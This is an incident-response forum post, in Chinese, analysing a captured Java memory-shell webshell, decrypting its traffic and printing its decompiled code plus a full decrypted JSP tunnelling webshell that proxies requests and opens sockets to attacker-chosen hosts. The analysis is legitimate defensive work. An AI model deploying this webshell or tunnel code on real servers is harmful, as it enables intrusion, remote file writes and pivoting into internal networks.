![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-29533a0acfb37443117ae1fb14c97781b154c04b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5e41dadde9f8ce5217a8515eb09c71a5d6fa33fb.png) 我们按下不表,在后续进行解密 我们去查看注入的内存马,发现存在GZIP和deserialize ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-802e6514e47a0ccd1f50de983c184554680646a5.png) 也就是说,我们重新推断一次 ```php 服务器数据 =》xor =》 base =》流量 流量 =》 base =》xor =》获得数据 变为了 服务器数据 =》GZIP =》xor =》 base =》流量 流量 =》 base =》xor =》Gzip=》获得数据 ``` 我们对原本马的进一步分析之后,发现错过了一些细节 ```php {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ ``` 拼接的前半部分为这样,也就导致会解密出{RSA} 我们去除前面的影响之后,将流量的后续,进行解密 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-212db3d9adb3840a19af22909054e2de5ff6bcce.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d44c84c7f9262a42cddd680ad2b808e1dfad8d56.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bbef6aeefca2c98afe6dc3da1342e49fce482639.png) 将返回的流量成功解密 0x03 内存马分析 ========== 3.1 功能预览 -------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-34b43a7889585aa983cf011e0bfa76213c8847c2.png) 3.2 全局变量 -------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-efda6c76fbd618b51d9f3b771287186b42693be2.png) sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同 parameterMap 是用来存储传递的参数的 其他的也如图所见 introspector 监听器 ```php public byte[] run() {//run函数 try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法 String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); // 方法为空就会提示 if (var20 == null) { return "Method is empty".getBytes(); } else { Object var21 = null; if (var1 != null) { //var4 是本身函数中的恶意module Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes(); } //参数Map,将sessionTable和servletRequest 存入 this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest); var21 = var4.newInstance(); } //下面是一个调用class和参数, Method var23 = null; boolean var5 = var21 != null;//实例化对象是否存在,var5判断 Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this; //getByteArray函数见如下 byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1];//类的实例化 Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { try { var8[0] = Map.class; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var18) { try { var8[0] = Dictionary.class; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var16) { try { var8 = new Class[0]; var9 = new Object[0]; var23 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var14) { return "No Such Method".getBytes(); } } } } Object var10 = null; if (var23 != null) { var10 = var23.invoke(var21, var9); } else { //equals函数被重写了,见下 //toString函数也被重写了,见下 var21.equals(this.parameterMap); var21.toString(); var10 = this.parameterMap.get("result"); } if (byte[].class.isInstance(var10)) { return (byte[])var10; } else if (String.class.isInstance(var10)) { return ((String)var10).getBytes(); } else { return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes(); } } } catch (Throwable var19) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); PrintStream var3 = new PrintStream(var2); var19.printStackTrace(var3); var3.flush(); var3.close(); return var2.toByteArray(); } } ``` 3.3 被调用的函数 ---------- getByteArray ```php public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1); } catch (Exception var2) { return null; } } //获取parameterMap中的参数,上述传递的invokeMethod ``` equals 重写成参数不为空,同时对var1 调用handle ```php public boolean equals(Object var1) { return var1 != null && this.handle(var1); } //var1 不为空的时候, public boolean handle(Object var1) { if (var1 == null) { return false; } else { //判断var1 是不是byteArrayoutputStream类,是的话,输出 if (ByteArrayOutputStream.class.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1; //判断,是不是byte数组,是的话赋值requestData } else if (byte[].class.isInstance(var1)) { this.requestData = (byte[])var1; } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1; } return false; } } //var2 servlet.http.httpServletReuest //var1 private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false; } else { boolean var3 = false; Class var4 = null; try { try { var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader()); } catch (Exception var5) { var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader()); } } catch (Exception var6) { } if (var4 != null && var4.isInstance(var1)) { var3 = true; } return var3; } } ``` 反序列化 ```php public HashMap deserialize(byte[] var1, boolean gzipFlag) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; //针对gzipFlag 判断对流是否采用GZIP加解密 try { Object var7 = var4; if (gzipFlag) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } if (var8 == 1) { ((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString(); var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString(); var3.put(var13, this.readInputStream((InputStream)var7, var12)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } ``` 序列化 ```php public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) { var3.write(2); var6 = (byte[])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = this.serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } ``` 重写后的toString ```php public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1); } //methodname就是我们在内存马中交互的函数名 String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString(); } GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run(); var3.write(var4); var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null; } catch (Throwable var5) { } } return super.toString(); } ``` close 关闭session ```php public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) { Map var7 = (Map)sessionMap.remove(var1); var7.put("alive", Boolean.FALSE); return "ok".getBytes(); } else if (var2 != null && "clearup".equals(var2)) { for(Object var4 : sessionMap.values()) { if (Map.class.isInstance(var4)) { ((Map)var4).put("alive", Boolean.FALSE); } } sessionMap.clear(); return "ok".getBytes(); } else { return "fail".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } ``` uploadFIle,参数已经都修改了比较好懂 ```php public byte[] uploadFile() { String filepath = this.get("fileName"); byte[] fileValues = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try { File file = new File(filepath); file.createNewFile(); FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(fileValues); fileOutputStream.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } } ``` getBasicsINfo 获取当前环境的相关信息 ```php public byte[] getBasicsInfo() { String var1 = ""; try { Enumeration var2 = System.getProperties().keys(); var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n"; var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n"; var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n"; var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; try { String var16 = System.getProperty("java.io.tmpdir"); char var4 = var16.charAt(var16.length() - 1); if (var4 != '\\' && var4 != '/') { var16 = var16 + File.separator; } var1 = var1 + "TempDirectory : " + var16 + "\n"; } catch (Exception var7) { } var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try { var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n"; } catch (Exception var6) { var1 = var1 + "OsInfo : " + var6.getMessage() + "\n"; } String var17; for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "\n") { var17 = (String)var2.nextElement(); } Map var18 = this.getEnv(); if (var18 != null) { for(String var19 : var18.keySet()) { var1 = var1 + var19 + " : " + var18.get(var19) + "\n"; } } return var1.getBytes(); } catch (Exception var8) { StringBuffer var3 = new StringBuffer(); var3.append(var1); var3.append("Exception errMsg:"); var3.append(var8.getMessage()); return var3.toString().getBytes(); } } ``` 在数据包中,发现了一些比较大的数据量 ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 6096 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 254 Date: Wed, 27 Jul 2022 10:14:51 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` 数据包中,如上数据,进行解密后 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-07c4f1b705eb9391b49fd5cf74e93f8cfd1772f7.png) 解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。 ```php <%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%> <%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } %> <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write(""); } %> ``` 0x04 小总结 ======== 本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。 由于篇幅太长,暂时分为两篇,wait(二)
发表于 2022-08-17 10:18:15
阅读 ( 7732 )
分类:
应急响应
2 推荐
收藏
8 条评论
Carnival
2022-08-17 15:28
这马用的冰蝎的马子套了层xor,放到session里的马子改放到application里了。应该是某个实验室自己改的 ,一般人没时间搞这个
Wumingzhilian
回复
Carnival
溯源到了,但是就不发了
请先
登录
后评论
Carnival
2022-08-17 15:37
拉的大马也是拉的类似哥斯拉的
Wumingzhilian
回复
Carnival
对,后续有写,类哥斯拉的
请先
登录
后评论
Carnival
2022-08-17 15:38
还有数据偏移,还有数据回显。羡慕大佬,能有这种马子
Carnival
回复
Wumingzhilian
哈哈 当时我逆哥斯拉也头疼的一批,就这还是代码没有加密。
Wumingzhilian
回复
Carnival
逆的头疼555
请先
登录
后评论
2yAo_
2022-08-18 16:30
师傅受我一舔~
请先
登录
后评论
请先
登录
后评论
Wumingzhilian
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!